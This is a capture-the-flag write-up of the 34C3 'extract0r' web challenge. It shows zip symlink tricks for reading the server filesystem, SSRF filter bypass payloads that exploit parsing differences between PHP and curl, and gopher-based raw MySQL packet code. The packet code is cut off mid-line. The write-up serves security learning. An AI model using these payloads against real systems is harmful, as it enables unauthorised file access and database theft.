# extract0r - web - medium

> Found this great new extraction service. Enjoy!

> Difficulty: medium

# Writeup

In this challenge you can access a website that will extract archives for you.
There is no upload functionality, but instead you provide a URL and the
website will fetch your archive from there. The extraction occurs in a folder
with a random hash name, so you won't interfer with other users.

## Leaking files

Of course some simple things to try are:  
* Upload a PHP file  
* Upload a .htaccess to allow PHP execution

However, these will all fail. An interesting object that can be stored inside
a .zip is a symlink. If you have been playing CTF for a while, you know that
when you can extract or compress ZIP archives, you probably have to do
something with symlinks ;-)

A simple way to create a symlink that points to /:

```bash  
ln -s / root  
zip --symlinks foo.zip root  
```  
Note the `--symlinks` flag, without it the actual contents of the symlinks are
stored in the .zip instead of the symlink itself. If you upload the created
.zip file, you will be greeted with the following message:

```  
WARNING:  
we have deleted some folders from your archive for security reasons with our
cyber-enabled filtering system!  
```

If you check the `cyber-enabled filtering system` you will notice it uses
`glob($directory . "/*")` to remove any file that is not a file, i.e. links
and directories. So you can create a symlink to known files like /etc/passwd,
but you can't get a directory listing unless you bypass the filter. If you
play around with `glob` you might notice that files starting with a dot
(hidden files) are not listed by it. Therefore you can bypass the filter:

```bash  
ln -s / .root  
zip --symlinks foo.zip .root  
```

Now look at your extracted files, you can't see `.root` since apache doesn't
list hidden files, but it's there. Just point your browser to
`/3b5f55dbd0dc04d87dd55855a275dd0a65195b61/.root` and you will have access to
the whole filesystem:

![filesystem](https://i.imgur.com/k752d2A.png)

## Finding the flag

If you look around the filesystem you will stumble upon `/home/extract0r`
which contains a file called`create_a_backup_of_my_supersecret_flag.sh`. It is
a basic script that should hint where the flag is located: in a table called
`flag` inside a mysql database. You can also see that the mysql user
`m4st3r_ov3rl0rd` has access to it and he doesn't use a password (this will be
important later).

OK so you probably have to connect to the mysql database and get the flag from
there. You might think you need to get RCE, but you don't :)

Remember you can let the server make requests to fetch your archive? We will
use that functionality to connect to the mysql database and extract the flag.

## Bypassing SSRF filter

However, MySQL only listens on localhost, so we have to somehow make a request
to localhost. A simple `http://localhost:3306/` will fail:

```  
ERROR  
Couldn't resolve your host 'localhost' or the resolved ip '127.0.0.1' is
blacklisted!  
```

There is a protection in place which will not allow you to connect to
localhost. As you have access to the filesystem now, you can just download the
source files `index.php` and `url.php`. In `url.php` there is a rather long
logic to prevent SSRF to localhost (or any other blacklisted ip range).

How it works:

1\. Use PHP's `parse_url` to split the provided URL into its host, scheme,
port, path, etc. parts  
2\. Clean each part (didn't want people to just use Orange's SSRF paper...)  
3\. Resolve the host and check if it matches a blacklist.  
4\. Rebuild the URL.  
5\. Use curl with DNS and Port pinning.

The way to trick the script is to make curl and PHP's `parse_url` parse
different hosts. That way the script will verify a valid host like google.com,
but curl will in fact request a blacklisted host like localhost.

You can play around with it and you will come up with a payload similar to
this:  
```  
http://foo@localhost:[email protected]:3306/  
```

Curl will parse `localhost` as host, whereas PHP will parse `google.com` as
host. The check will pass and curl will request localhost.

### Intended solution

The above solution is what every team used as far as I can tell from logs. For
some reason I didn't find that solution when I created the challenge... My
intended solution uses a domain inside IPv6 notation:

```  
http://foo@[cafebabe.cf]@google.com:3306/  
```

You can't just use a IPv6 IP because digits are removed by the filter. Also
curl only allows hexadecimal characters between the brackets. So you had to
come up with a domain that only consisted of a-f: .cf domains are free and I
registered cafebabe.cf which points to 127.0.0.1.

I was a bit sad when I saw how teams solved it, cause I think the intended
solution is way more fun :P But oh well, curl fucked with me once again hehe

## Talking to mysql

So at this point you can make requests to port 3306 on localhost. Of course
mysql doesn't talk http so you probably wanna use a different protocol like
gopher://. Gopher allows you to control all the bytes transmitted, whereas
with http you have the headers and other url-encoded data that you don't
control.

The next step was to figure out how to talk to mysql. Mysql uses a binary
protocol and a handshake to login users. So you should not be able to connect
to it via a single request. However, if you check in Wireshark, you will
notice that a user login without password doesn't require the handshake.

Basically just watch the packets you see in Wireshark and rebuild them in your
exploit. You can see that in my [exploit](exploit/exploit.py):

First the login packet:  
```python  
auth = bytearray([  
0x48, 0x0, 0x0, # length  
0x1, # seqid  
0x85, 0xa6, 0x3f, 0x20, 0, 0, 0, 0x1, 0x21, 0, 0,  
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,  
0, 0, 0, 0, 0  
] + list(b'm4st3r_ov3rl0rd') + [ # mysql user  
0, 0, # pass length & pass  
] + list(b'mysql_native_password') + [  
0, 0,  
])  
```

And then the packet for the SELECT command:  
```python  
def make_cmd(cmd):  
length = struct.pack("

Original writeup (https://github.com/eboda/34c3ctf/tree/master/extract0r).